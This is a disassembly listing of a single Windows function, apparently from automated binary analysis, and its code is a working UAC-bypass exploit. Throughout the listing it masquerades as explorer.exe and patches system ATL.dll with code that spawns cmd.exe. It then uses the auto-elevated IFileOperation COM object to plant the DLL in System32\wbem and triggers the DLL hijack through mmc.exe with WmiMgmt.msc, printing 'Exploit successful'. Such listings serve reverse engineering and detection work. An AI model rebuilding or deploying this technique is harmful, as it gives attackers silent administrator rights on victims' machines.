Function at 0x1400023b0
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [0x140025010]
xor rax, rsp
mov qword [rbp + 0x198], rax
xor r13d, r13d
mov dword [rbp - 0x58], r13d
xor ecx, ecx
call qword [sym.imp.MSVCP140.dll_public:_static_bool___cdecl_std::ios_base::sync_with_stdio_bool_]
lea edx, [r13 + 0xe]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov ebx, eax
test eax, eax
jns 0x140002460
lea rdx, str.CoInitializeEx___failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400044a0
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.1400044a0
lea rdx, [0x140001780]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140004670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140002f6b
lea rcx, [0x140002fb0]
call fcn.1400058dc
mov qword [rbp - 0x60], r13
lea r9, [rbp - 0x60]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140007580]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov ebx, eax
mov rcx, qword [rbp - 0x60]
test eax, eax
jns 0x1400024a2
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.SHGetKnownFolderPath_0__failed.
jmp 0x140002410
mov rdi, 0xffffffffffffffff
mov rax, rdi
nop dword [rax]
lea rax, [rax + 1]
cmp word [rcx + rax*2], r13w
jne 0x1400024b0
lea rsi, [rax*2 + 0x1c]
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov rdx, rsi
call qword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov r12, rax
mov rcx, qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rbp + 0x140], rcx
mov qword [rbp + 0x148], rax
mov rdx, qword [rbp - 0x60]
mov rcx, rdi
lea rcx, [rcx + 1]
cmp word [rdx + rcx*2], 0
jne 0x1400024f5
movups xmm0, xmmword [str.explorer.exe]
movups xmmword [rax + rcx*2], xmm0
movsd xmm0, qword [0x140007850]
movsd qword [rax + rcx*2 + 0x10], xmm0
mov eax, dword [0x140007858]
mov dword [r12 + rcx*2 + 0x18], eax
lea r9, [rbp - 0x60]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140007590]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov ebx, eax
mov rcx, qword [rbp - 0x60]
test eax, eax
jns 0x1400025a1
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.SHGetKnownFolderPath_1__failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400044a0
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.1400044a0
lea rdx, [0x140001780]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140004670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, 1
jmp 0x140002f5a
lea rdi, [rdi + 1]
cmp word [rcx + rdi*2], 0
jne 0x1400025a1
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
lea rdx, [rdi*2 + 0x1c]
call qword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov r14, rax
mov rcx, qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rbp + 0x150], rcx
mov qword [rbp + 0x158], rax
movups xmm0, xmmword [0x140007880]
movups xmmword [rax + rdi*2], xmm0
movzx ecx, word [0x140007890]
mov word [rax + rdi*2 + 0x10], cx
mov qword [rbp - 0x40], r12
mov word [rbp - 0x38], si
lea r8, [rbp - 0x40]
lea rdx, [0x140002fc0]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_LdrEnumerateLoadedModules]
mov ebx, eax
test eax, eax
jns 0x14000265c
lea rdx, str.LdrEnumerateLoadedModules___failed._NTSTATUS:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400044a0
lea rdx, [0x140001780]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140004670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, 1
jmp 0x140002f4b
xor edx, edx
mov r8d, 0x118
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memset
mov rdx, r14
lea rcx, [rbp - 0x30]
call fcn.140003d20
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400026cb
lea rdx, str.Failed_to_open
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400046b0
mov rdx, r14
mov rcx, rax
call fcn.1400046b0
lea rdx, [0x140004890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov esi, 1
jmp 0x140002f41
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, qword [rbp + 0x108]
add rcx, qword [rbp + 0x110]
call fcn.1400058fc
mov r15, rax
mov qword [rbp + 0x160], rax
xorps xmm0, xmm0
xor eax, eax
mov qword [rsp + 0x50], rax
movaps xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_class_std::fpos_struct__Mbstatet_____ptr64]
mov r8, qword [rbp + 0x110]
add r8, qword [rbp + 0x108]
mov rdx, r15
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
mov esi, 1
test al, al
je 0x140002765
lea rdx, str.Failed_to_read_system_ATL.dll_n
jmp 0x140002f2b
lea rcx, [rbp - 0x18]
call fcn.140004310
test rax, rax
jne 0x14000278f
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movsxd r8, dword [r15 + 0x3c]
movzx eax, word [r8 + r15 + 0x14]
lea rdx, [r8 + 0x18]
add rdx, r15
add rdx, rax
mov rcx, r13
lea r9, [0x140007908]
nop dword [rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x1400027d0
cmp rcx, 6
jne 0x1400027b0
jmp 0x1400027f4
add rdx, 0x28
mov rcx, r13
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x1400027d0
cmp rcx, 6
jne 0x1400027e0
movups xmm0, xmmword [str.cmd.exe]
movups xmmword [r14 + rdi*2 + 2], xmm0
mov ecx, dword [r8 + r15 + 0x28]
mov eax, dword [rdx + 0xc]
sub rcx, rax
mov ebx, dword [rdx + 0x14]
lea rax, [r15 + rcx]
add rbx, rax
mov r8d, 0x18bff
lea rdx, [0x140007dd0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea r8, [rdi*2 + 0x12]
lea rcx, [rbx + 0x18bff]
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov qword [rbx + 0x71], rax
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rbx + 0x7f], rax
cmp qword [rbp + 0x68], 0
jne 0x14000296a
mov edx, 0x22
lea r8d, [rdx + 0x1e]
lea rcx, [0x140007920]
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
mov rbx, rax
test rax, rax
je 0x14000296a
mov byte [rbp + 0x64], sil
mov byte [rbp + 0x59], 0
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x58], r13
lea r9, [rbp - 0x58]
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rbp - 0x58]
mov qword [rsp + 0x30], r9
mov r8, qword [rbp - 0x48]
mov qword [rsp + 0x28], r8
mov rdx, qword [rbp - 0x50]
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov qword [rbp + 0x68], rbx
mov rax, qword [0x140025af8]
mov qword [rbp + 0x5c], rax
mov qword [rbp + 0x50], r13
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.1400048d0
mov rbx, rax
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x14000291d
mov qword [rbp + 0x50], r13
jmp 0x14000292c
mov qword [rbp + 0x50], rbx
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
nop
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x14000294e
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14000294e
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, esi
mov rcx, rax
call r8
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140002986
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp qword [rbp + 0x68], 0
jne 0x140002999
lea rdx, str.Error_creating_payload_drop_n
jmp 0x140002f2b
mov r8, qword [rbp + 0x110]
add r8, qword [rbp + 0x108]
mov rdx, r15
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
jne 0x140002f24
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
jne 0x140002f24
lea rcx, [rbp - 0x18]
call fcn.140004310
test rax, rax
jne 0x140002a18
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movsd xmm0, qword [str.wbem]
movsd qword [r14 + rdi*2 + 2], xmm0
movzx eax, word [0x140007970]
mov word [r14 + rdi*2 + 0xa], ax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x58], 7
movsd xmm0, qword [str.dropper]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140007980]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140007984]
mov word [rsp + 0x4c], ax
mov word [rsp + 0x4e], r13w
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r13w
mov dword [rbp - 0x58], 0xf
lea rcx, [rsp + 0x60]
call fcn.140002260
test eax, eax
jne 0x140002f9b
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x120]
call fcn.140001b80
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140002b09
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b04
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005660
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r13w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002b62
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005660
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], r13
lea r9, [rbp + 0xf8]
lea r8, [0x140007d50]
xor edx, edx
mov rcx, r14
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov ebx, eax
test eax, eax
jns 0x140002b98
lea rdx, str.SHCreateItemFromParsingName_0__failed.
jmp 0x140002bd2
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 8
cmovae rcx, qword [rbp + 0x120]
lea r9, [rbp + 0x100]
lea r8, [0x140007d50]
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov ebx, eax
test eax, eax
jns 0x140002c1d
lea rdx, str.SHCreateItemFromParsingName_1__failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400044a0
lea rdx, str._HRESULT:_0x
mov rcx, rax
call fcn.1400044a0
lea rdx, [0x140001780]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140004670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140002e8b
mov qword [rbp + 0xf0], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x16c], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
mov qword [rbp + 0x190], r13
mov dword [rbp + 0x168], 0x30
mov dword [rbp + 0x17c], 4
lea r9, [rbp + 0xf0]
lea r8, [0x140007c80]
lea rdx, [rbp + 0x168]
lea rcx, str.Elevation:Administrator_new:3AD05575_8857_4850_9277_11B85BDB8E09
call qword [sym.imp.ole32.dll_CoGetObject]
mov ebx, eax
test eax, eax
jns 0x140002c89
lea rdx, str.CoGetObject___failed.
jmp 0x140002e13
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
mov qword [rsp + 0x20], r13
lea r9, str.ATL.dll
mov r8, qword [rbp + 0xf8]
mov rdx, qword [rbp + 0x100]
call qword [rax + 0x70]
mov ebx, eax
test eax, eax
jns 0x140002cc2
lea rdx, str.IFileOperation::MoveItem___failed.
jmp 0x140002e13
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
mov edx, 0x10800410
call qword [rax + 0x28]
mov ebx, eax
test eax, eax
jns 0x140002ce6
lea rdx, str.IFileOperation::SetOperationFlags___failed.
jmp 0x140002e13
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
call qword [rax + 0xa8]
mov ebx, eax
test eax, eax
jns 0x140002d08
lea rdx, str.IFileOperation::PerformOperations_0__failed.
jmp 0x140002e13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
lea r9, str.WmiMgmt.msc
lea r8, str.mmc.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rbx, rax
cmp eax, 0x20
jg 0x140002d65
lea rdx, str.ShellExecuteW_failed._Return_value:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400044a0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140004670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rbp + 0xf8]
test rcx, rcx
je 0x140002d8b
mov qword [rbp + 0xf8], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
movups xmm0, xmmword [0x140007880]
movups xmmword [r14 + rdi*2 + 0xa], xmm0
movzx eax, word [0x140007890]
mov word [r14 + rdi*2 + 0x1a], ax
lea r9, [rbp + 0xf8]
lea r8, [0x140007d50]
xor edx, edx
mov rcx, r14
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov ebx, eax
test eax, eax
jns 0x140002dcd
lea rdx, str.SHCreateItemFromParsingName_2__failed.
jmp 0x140002e13
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
xor r8d, r8d
mov rdx, qword [rbp + 0xf8]
call qword [rax + 0x90]
mov ebx, eax
test eax, eax
jns 0x140002df6
lea rdx, str.IFileOperation::DeleteItem___failed.
jmp 0x140002e13
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
call qword [rax + 0xa8]
mov ebx, eax
test eax, eax
jns 0x140002e5b
lea rdx, str.IFileOperation::PerformOperations_1__failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400044a0
lea rdx, str._HRESULT:_0x
mov rcx, rax
call fcn.1400044a0
lea rdx, [0x140001780]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140004670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140002e71
lea rdx, str.Exploit_successful_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400044a0
mov esi, r13d
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x140002e8b
mov qword [rbp + 0xf0], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x140002ea5
mov qword [rbp + 0x100], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0xf8]
test rcx, rcx
je 0x140002ebf
mov qword [rbp + 0xf8], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x140002f08
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f03
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005660
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x138], 7
mov word [rbp + 0x120], r13w
jmp 0x140002f38
lea rdx, str.Error_writing_payload_drop_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400044a0
nop
mov rcx, r15
call fcn.140005660
nop
lea rcx, [rbp - 0x30]
call fcn.140003000
nop
test r14, r14
je 0x140002f5a
mov rcx, r14
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
test r12, r12
je 0x140002f69
mov rcx, r12
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
mov eax, esi
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.140005640
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov edx, eax
call fcn.140002170
int3